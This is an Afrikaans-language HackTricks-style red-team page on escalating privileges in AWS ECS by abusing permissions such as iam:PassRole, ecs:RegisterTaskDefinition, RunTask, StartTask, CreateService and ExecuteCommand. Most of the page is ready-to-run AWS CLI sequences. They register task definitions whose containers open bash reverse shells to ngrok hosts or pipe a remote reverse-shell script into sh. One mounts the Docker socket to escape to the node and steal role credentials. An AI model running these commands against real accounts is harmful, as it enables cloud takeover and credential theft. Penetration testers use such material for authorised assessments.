AWS - ECS Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

ECS

Meer inligting oor ECS in:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

'n Aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition en ecs:RunTask toestemming in ECS misbruik, kan 'n nuwe taakdefinisie genereer met 'n kwaadwillige houer wat die metadata-gedragsbepalings steel en dit uitvoer.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potensiële Impak: Direkte bevoorregte toegang tot 'n ander ECS rol.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask toestemmings in ECS misbruik, 'n nuwe taakdefinisie genereer met 'n skadelike houer wat die metadata-gedragsbriewe steel en dit uitvoer. In hierdie geval moet 'n houerinstansie beskikbaar wees om die skadelike taakdefinisie uit te voer.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potensiële Impak: Direkte voorregte-escalasie na enige ECS-rol.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService of ecs:CreateService toestemmings in ECS misbruik, 'n nuwe taakdefinisie genereer met 'n skadelike houer wat die metadata-geloofsbriewe steel en dit uitvoer deur 'n nuwe diens met ten minste 1 taak te skep wat uitgevoer word.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potensiële Impak: Direkte voorregverhoging na enige ECS rol.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Hierdie scenario is soos die voriges, maar sonder die iam:PassRole toestemming. Dit is steeds interessant omdat as jy 'n willekeurige houer kan hardloop, selfs sonder 'n rol, jy 'n bevoorregte houer kan hardloop om te ontsnap na die node en die EC2 IAM-rol en die ander ECS-houerrolle wat op die node hardloop, te steel. Jy kan selfs ander take dwing om binne die EC2-instantie wat jy oorneem, te hardloop om hul geloofsbriewe te steel (soos bespreek in die Privesc na node-seksie).

Hierdie aanval is slegs moontlik as die ECS-kluster EC2-instanties gebruik en nie Fargate nie.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

'n Aanvaller met die ecs:ExecuteCommand, ecs:DescribeTasks kan opdragte uitvoer binne 'n lopende houer en die IAM-rol wat daaraan geheg is, uitlek (jy benodig die beskrywingsregte omdat dit nodig is om aws ecs execute-command uit te voer). Om dit te doen, moet die houerinstansie egter die ExecuteCommand-agent uitvoer (wat nie standaard is nie).

Daarom kan die aanvaller probeer om:

  • Probeer om 'n opdrag in elke lopende houer uit te voer

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • As hy ecs:RunTask het, voer 'n taak uit met aws ecs run-task --enable-execute-command [...]

  • As hy ecs:StartTask het, voer 'n taak uit met aws ecs start-task --enable-execute-command [...]

  • As hy ecs:CreateService het, skep 'n diens met aws ecs create-service --enable-execute-command [...]

  • As hy ecs:UpdateService het, werk 'n diens by met aws ecs update-service --enable-execute-command [...]

Jy kan voorbeelde van hierdie opsies vind in vorige ECS privesc-afdelings.

Potensiële Impak: Privesc na 'n ander rol wat aan houers gekoppel is.

ssm:StartSession

Kyk op die ssm privesc-bladsy hoe jy hierdie toestemming kan misbruik om na ECS te privesc:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Kyk op die ec2 privesc-bladsy hoe jy hierdie toestemmings kan misbruik om na ECS te privesc:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Is dit moontlik om 'n instansie van 'n ander AWS-rekening te registreer sodat take uitgevoer word onder beheer van die aanvaller??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Toets dit

'n Aanvaller met die toestemmings ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, en ecs:DescribeTaskSets kan 'n kwaadwillige taakstel vir 'n bestaande ECS-diens skep en die primêre taakstel opdateer. Dit stel die aanvaller in staat om arbitrêre kode binne die diens uit te voer.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potensiële Impak: Voer willekeurige kode uit in die betrokke diens, wat moontlik die funksionaliteit daarvan kan beïnvloed of sensitiewe data kan uitlek.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated